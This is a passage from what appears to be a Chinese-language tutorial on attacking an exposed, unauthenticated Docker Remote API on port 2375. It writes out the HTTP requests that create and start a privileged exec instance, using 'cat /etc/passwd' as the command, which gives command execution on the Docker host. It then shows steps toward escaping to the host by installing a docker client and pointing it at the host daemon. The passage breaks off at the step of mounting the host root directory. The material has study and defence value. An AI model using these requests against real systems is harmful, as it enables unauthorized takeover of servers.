可以先上传到github然后在docker到shell中使用git clone命令即可,这里不做演示。
直接在浏览器中输入http://ip:2375/version

- 访问
http://ip:2375/containers/json
看是否出现以下画面:

- 创建一个包,得到返回的exec_id的参数,数据包内容如下:
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}

注意其中的cmd字段,这个就是要执行的命令。
- 得到exec_id参数后构造第二个exec_start数据包,内容如下:
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
“Detach”: false,
“Tty”: false
}
然后发送后会得到结果:

至此成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。
- 在docker容器内安装docker作为client
apt-get install docker.io
yum -y install docker - 查看宿主机的docker image信息
docker -H tcp://宿主机ip:2375 images
- 启动一个容器并且将宿主机的根目录抓再到容器的某个目录